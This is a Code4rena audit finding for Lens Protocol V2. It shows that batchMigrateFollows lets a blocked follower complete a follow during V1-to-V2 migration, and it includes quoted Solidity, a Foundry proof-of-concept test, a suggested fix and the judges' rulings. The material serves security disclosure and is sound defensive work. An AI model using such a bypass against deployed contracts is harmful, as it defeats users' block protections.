Blocked follower can keep follow with `batchMigrateFollows`

[code423n4]

Lines of code

https://github.com/code-423n4/2023-07-lens/blob/cdef6ebc6266c44c7068bc1c4c04e12bf0d67ead/contracts/misc/LensV2Migration.sol#L37-L43 https://github.com/code-423n4/2023-07-lens/blob/cdef6ebc6266c44c7068bc1c4c04e12bf0d67ead/contracts/libraries/MigrationLib.sol#L114-L139 https://github.com/code-423n4/2023-07-lens/blob/cdef6ebc6266c44c7068bc1c4c04e12bf0d67ead/contracts/FollowNFT.sol#L480-L520

Vulnerability details

Impact

Blocked followers can follow by batchMigrateFollows.

Proof of Concept

You can migrate V1 followers by calling the LensV2Migration.batchMigrateFollows function, which can be called by anyone.

function batchMigrateFollows(
    uint256[] calldata followerProfileIds,
    uint256[] calldata idsOfProfileFollowed,
    uint256[] calldata followTokenIds
) external {
    MigrationLib.batchMigrateFollows(followerProfileIds, idsOfProfileFollowed, followTokenIds);
}

https://github.com/code-423n4/2023-07-lens/blob/cdef6ebc6266c44c7068bc1c4c04e12bf0d67ead/contracts/misc/LensV2Migration.sol#L37-L43

function _migrateFollow(
    uint256 followerProfileId,
    uint256 idOfProfileFollowed,
    uint256 followTokenId
) private {
    uint48 mintTimestamp = FollowNFT(StorageLib.getProfile(idOfProfileFollowed).followNFT).tryMigrate({
        followerProfileId: followerProfileId,
        followerProfileOwner: StorageLib.getTokenData(followerProfileId).owner,
        idOfProfileFollowed: idOfProfileFollowed,
        followTokenId: followTokenId
    });
    // `mintTimestamp` will be 0 if:
    // - Follow NFT was already migrated
    // - Follow NFT does not exist or was burnt
    // - Follower profile Owner is different from Follow NFT Owner
    if (mintTimestamp != 0) {
        emit Events.Followed({
            followerProfileId: followerProfileId,
            idOfProfileFollowed: idOfProfileFollowed,
            followTokenIdAssigned: followTokenId,
            followModuleData: '',
            processFollowModuleReturnData: '',
            timestamp: mintTimestamp // The only case where this won't match block.timestamp is during the migration
        });
    }
}

https://github.com/code-423n4/2023-07-lens/blob/cdef6ebc6266c44c7068bc1c4c04e12bf0d67ead/contracts/libraries/MigrationLib.sol#L114-L139

The FollowNFT.tryMigrate is where the actual migration logic proceed. FollowNFT.tryMigrate does not check whether the followerProfileId has been blocked by the idOfProfileFollowed.

function tryMigrate(
    uint256 followerProfileId,
    address followerProfileOwner,
    uint256 idOfProfileFollowed,
    uint256 followTokenId
) external onlyHub returns (uint48) {
    // Migrated FollowNFTs should have `originalFollowTimestamp` set
    if (_followDataByFollowTokenId[followTokenId].originalFollowTimestamp != 0) {
        return 0; // Already migrated
    }

    if (_followedProfileId != idOfProfileFollowed) {
        revert Errors.InvalidParameter();
    }

    if (!_exists(followTokenId)) {
        return 0; // Doesn't exist
    }

    address followTokenOwner = ownerOf(followTokenId);

    // ProfileNFT and FollowNFT should be in the same account
    if (followerProfileOwner != followTokenOwner) {
        return 0; // Not holding both Profile & Follow NFTs together
    }

    unchecked {
        ++_followerCount;
    }

    _followTokenIdByFollowerProfileId[followerProfileId] = followTokenId;

    uint48 mintTimestamp = uint48(StorageLib.getTokenData(followTokenId).mintTimestamp);

    _followDataByFollowTokenId[followTokenId].followerProfileId = uint160(followerProfileId);
    _followDataByFollowTokenId[followTokenId].originalFollowTimestamp = mintTimestamp;
    _followDataByFollowTokenId[followTokenId].followTimestamp = mintTimestamp;

    super._burn(followTokenId);
    return mintTimestamp;
}

https://github.com/code-423n4/2023-07-lens/blob/cdef6ebc6266c44c7068bc1c4c04e12bf0d67ead/contracts/FollowNFT.sol#L480-L520

Let's think the case that the idOfProfileFollowed profile blocked the followerProfileId when the follower has not yet migrated. In this case, if the owner of the followerProfileId or anyone else calls LensV2Migration.batchMigrateFollows, then the blocked followerProfileId can follow the idOfProfileFollowed.

The following codes are the PoC codes. Add and modify https://github.com/code-423n4/2023-07-lens/blob/main/test/migrations/Migrations.t.sol to run PoC.

First, modify the test because it is broken due to a change of the return value of getProfile. Add the following interface at Migrations.t.sol test file.

interface LensHubV1 {
    struct ProfileV1 {
        uint256 pubCount; // offset 0
        address followModule; // offset 1
        address followNFT; // offset 2
        string __DEPRECATED__handle; // offset 3
        string imageURI; // offset 4
        string __DEPRECATED__followNFTURI;
    }

    function getProfile(uint256 profileId) external view returns (ProfileV1 memory);
}

Also modify the following code to recover broken tests. https://github.com/code-423n4/2023-07-lens/blob/cdef6ebc6266c44c7068bc1c4c04e12bf0d67ead/test/migrations/Migrations.t.sol#L107

address followNFTAddress = LensHubV1(address(hub)).getProfile(idOfProfileFollowed).followNFT;

Add this test function at MigrationsTest contract and run. Even after being blocked, it is possible to follow through batchMigrateFollows.

function testMigrateBlockedFollowerPoC() public onlyFork {
    uint256 idOfProfileFollowed = 8;

    uint256[] memory idsOfProfileFollowed = new uint256[](10);
    uint256[] memory followTokenIds = new uint256[](10);
    bool[] memory blockStatuses = new bool[](10);

    for (uint256 i = 0; i < 10; i++) {
        uint256 followTokenId = i + 1;

        idsOfProfileFollowed[i] = idOfProfileFollowed;
        followTokenIds[i] = followTokenId;

        blockStatuses[i] = true;
    }

    // block followers
    address targetProfileOwner = hub.ownerOf(idOfProfileFollowed);
    vm.prank(targetProfileOwner);

    hub.setBlockStatus(
        idOfProfileFollowed,
        followerProfileIds,
        blockStatuses
    );

    // check block status
    assertEq(hub.isBlocked(followerProfileIds[0], idOfProfileFollowed), true);

    // migrate
    hub.batchMigrateFollows(followerProfileIds, idsOfProfileFollowed, followTokenIds);

    // check follow work 
    address followNFTAddress = LensHubV1(address(hub)).getProfile(idOfProfileFollowed).followNFT;
    assertEq(FollowNFT(followNFTAddress).isFollowing(followerProfileIds[0]), true); // blocked, but followed!
}

Recommended Mitigation Steps

At FollowNFT.tryMigrate function, If the follower is blocked, make it unfollowed.

Assessed type

Invalid Validation

[vicnaum]

This looks like a subset of #112

[c4-sponsor]

vicnaum marked the issue as sponsor confirmed

[c4-judge]

Picodes marked the issue as satisfactory

[Picodes]

Although the impact is similar it doesn't look like a duplicate to me as this is specifically about a blocked user being able to migrate himself, whereas #112 is about an attacker migrating someone without its consent

[c4-judge]

Picodes marked the issue as selected for report

[c4-judge]

Picodes marked the issue as primary issue